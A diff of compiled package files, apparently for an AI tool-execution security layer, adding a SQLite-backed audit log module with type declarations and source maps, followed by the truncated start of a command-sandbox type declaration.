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"}
@@ -0,0 +1,36 @@
1
+ /**
2
+ * auditLog.ts — Security audit trail for tool execution.
3
+ *
4
+ * Logs all security-relevant events (path checks, command execution,
5
+ * URL validation, credential redactions) to SQLite.
6
+ */
7
+ export interface AuditEntry {
8
+ id: string;
9
+ timestamp: string;
10
+ category: "path" | "exec" | "url" | "secret" | "tool_call";
11
+ toolName: string;
12
+ argsPreview: string;
13
+ allowed: boolean;
14
+ reason?: string;
15
+ metadata?: Record<string, unknown>;
16
+ }
17
+ /**
18
+ * Log a security audit event.
19
+ *
20
+ * Non-blocking — buffers writes and flushes every 100ms.
21
+ */
22
+ export declare function auditLog(category: AuditEntry["category"], toolName: string, argsPreview: string, allowed: boolean, reason?: string, metadata?: Record<string, unknown>): void;
23
+ /**
24
+ * Query the audit log.
25
+ */
26
+ export declare function getAuditLog(opts?: {
27
+ category?: AuditEntry["category"];
28
+ toolName?: string;
29
+ since?: string;
30
+ limit?: number;
31
+ onlyBlocked?: boolean;
32
+ }): AuditEntry[];
33
+ /** Force flush — use before process exit */
34
+ export declare function flushAuditLog(): void;
35
+ /** Test helper */
36
+ export declare function _resetAuditForTesting(): void;
@@ -0,0 +1,178 @@
1
+ /**
2
+ * auditLog.ts — Security audit trail for tool execution.
3
+ *
4
+ * Logs all security-relevant events (path checks, command execution,
5
+ * URL validation, credential redactions) to SQLite.
6
+ */
7
+ import * as path from "node:path";
8
+ import * as os from "node:os";
9
+ import * as fs from "node:fs";
10
+ import { getSecurityConfig } from "./config.js";
11
+ // In-memory buffer for batch writes
12
+ let _buffer = [];
13
+ let _flushTimer = null;
14
+ let _db = null;
15
+ let _initialized = false;
16
+ const DB_PATH = path.join(os.homedir(), ".nodebench", "security_audit.db");
17
+ function genId() {
18
+ return `audit_${Date.now()}_${Math.random().toString(36).slice(2, 8)}`;
19
+ }
20
+ function getDb() {
21
+ if (_db)
22
+ return _db;
23
+ try {
24
+ // Try to use better-sqlite3 if available
25
+ const Database = require("better-sqlite3");
26
+ const dir = path.dirname(DB_PATH);
27
+ if (!fs.existsSync(dir))
28
+ fs.mkdirSync(dir, { recursive: true });
29
+ _db = new Database(DB_PATH);
30
+ _db.pragma("journal_mode = WAL");
31
+ _db.exec(`
32
+ CREATE TABLE IF NOT EXISTS audit_log (
33
+ id TEXT PRIMARY KEY,
34
+ timestamp TEXT NOT NULL,
35
+ category TEXT NOT NULL,
36
+ tool_name TEXT NOT NULL,
37
+ args_preview TEXT NOT NULL DEFAULT '',
38
+ allowed INTEGER NOT NULL DEFAULT 1,
39
+ reason TEXT,
40
+ metadata TEXT
41
+ );
42
+ CREATE INDEX IF NOT EXISTS idx_audit_category ON audit_log(category);
43
+ CREATE INDEX IF NOT EXISTS idx_audit_tool ON audit_log(tool_name);
44
+ CREATE INDEX IF NOT EXISTS idx_audit_timestamp ON audit_log(timestamp);
45
+ `);
46
+ // Auto-prune entries older than 30 days
47
+ _db
48
+ .prepare("DELETE FROM audit_log WHERE timestamp < datetime('now', '-30 days')")
49
+ .run();
50
+ _initialized = true;
51
+ return _db;
52
+ }
53
+ catch {
54
+ // better-sqlite3 not available — use in-memory only
55
+ _initialized = false;
56
+ return null;
57
+ }
58
+ }
59
+ function flushBuffer() {
60
+ if (_buffer.length === 0)
61
+ return;
62
+ const db = getDb();
63
+ if (!db) {
64
+ // No SQLite — just discard (entries were already returned from auditLog)
65
+ _buffer = [];
66
+ return;
67
+ }
68
+ const insert = db.prepare(`
69
+ INSERT OR IGNORE INTO audit_log (id, timestamp, category, tool_name, args_preview, allowed, reason, metadata)
70
+ VALUES (?, ?, ?, ?, ?, ?, ?, ?)
71
+ `);
72
+ const insertMany = db.transaction((entries) => {
73
+ for (const e of entries) {
74
+ insert.run(e.id, e.timestamp, e.category, e.toolName, e.argsPreview, e.allowed ? 1 : 0, e.reason ?? null, e.metadata ? JSON.stringify(e.metadata) : null);
75
+ }
76
+ });
77
+ try {
78
+ insertMany(_buffer);
79
+ }
80
+ catch {
81
+ // SQLite write failed — discard silently
82
+ }
83
+ _buffer = [];
84
+ }
85
+ /**
86
+ * Log a security audit event.
87
+ *
88
+ * Non-blocking — buffers writes and flushes every 100ms.
89
+ */
90
+ export function auditLog(category, toolName, argsPreview, allowed, reason, metadata) {
91
+ const config = getSecurityConfig();
92
+ if (!config.auditEnabled)
93
+ return;
94
+ const entry = {
95
+ id: genId(),
96
+ timestamp: new Date().toISOString(),
97
+ category,
98
+ toolName,
99
+ argsPreview: argsPreview.substring(0, 200),
100
+ allowed,
101
+ reason,
102
+ metadata,
103
+ };
104
+ _buffer.push(entry);
105
+ // Batch flush every 100ms
106
+ if (!_flushTimer) {
107
+ _flushTimer = setTimeout(() => {
108
+ flushBuffer();
109
+ _flushTimer = null;
110
+ }, 100);
111
+ }
112
+ }
113
+ /**
114
+ * Query the audit log.
115
+ */
116
+ export function getAuditLog(opts) {
117
+ // Flush pending writes first
118
+ flushBuffer();
119
+ const db = getDb();
120
+ if (!db)
121
+ return [];
122
+ const conditions = [];
123
+ const params = [];
124
+ if (opts?.category) {
125
+ conditions.push("category = ?");
126
+ params.push(opts.category);
127
+ }
128
+ if (opts?.toolName) {
129
+ conditions.push("tool_name = ?");
130
+ params.push(opts.toolName);
131
+ }
132
+ if (opts?.since) {
133
+ conditions.push("timestamp >= ?");
134
+ params.push(opts.since);
135
+ }
136
+ if (opts?.onlyBlocked) {
137
+ conditions.push("allowed = 0");
138
+ }
139
+ const where = conditions.length > 0 ? `WHERE ${conditions.join(" AND ")}` : "";
140
+ const limit = opts?.limit ?? 100;
141
+ try {
142
+ const rows = db
143
+ .prepare(`SELECT * FROM audit_log ${where} ORDER BY timestamp DESC LIMIT ?`)
144
+ .all(...params, limit);
145
+ return rows.map((r) => ({
146
+ id: r.id,
147
+ timestamp: r.timestamp,
148
+ category: r.category,
149
+ toolName: r.tool_name,
150
+ argsPreview: r.args_preview,
151
+ allowed: r.allowed === 1,
152
+ reason: r.reason,
153
+ metadata: r.metadata ? JSON.parse(r.metadata) : undefined,
154
+ }));
155
+ }
156
+ catch {
157
+ return [];
158
+ }
159
+ }
160
+ /** Force flush — use before process exit */
161
+ export function flushAuditLog() {
162
+ if (_flushTimer) {
163
+ clearTimeout(_flushTimer);
164
+ _flushTimer = null;
165
+ }
166
+ flushBuffer();
167
+ }
168
+ /** Test helper */
169
+ export function _resetAuditForTesting() {
170
+ _buffer = [];
171
+ if (_flushTimer) {
172
+ clearTimeout(_flushTimer);
173
+ _flushTimer = null;
174
+ }
175
+ _db = null;
176
+ _initialized = false;
177
+ }
178
+ //# sourceMappingURL=auditLog.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"auditLog.js","sourceRoot":"","sources":["../../src/security/auditLog.ts"],"names":[],"mappings":"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"}
@@ -0,0 +1,33 @@
1
+ /**
2
+ * commandSandbox.ts — Command execution with allow-list enforcement.
3
+ *
4
+ * Replaces raw execSync calls with validated, audited execution.
5
+ * Uses allow-list (not deny-list) for command prefixes.
6
+ */
7
+ export interface SafeExecOpts {
8
+ /** Working directory (validated against safePath) */
9
+ cwd?: string;
10
+ /** Timeout in ms (capped at config.maxExecTimeoutMs) */
11
+ timeout?: number;
12
+ /** Allow pipe operators in command */
13
+ allowPipes?: boolean;
14
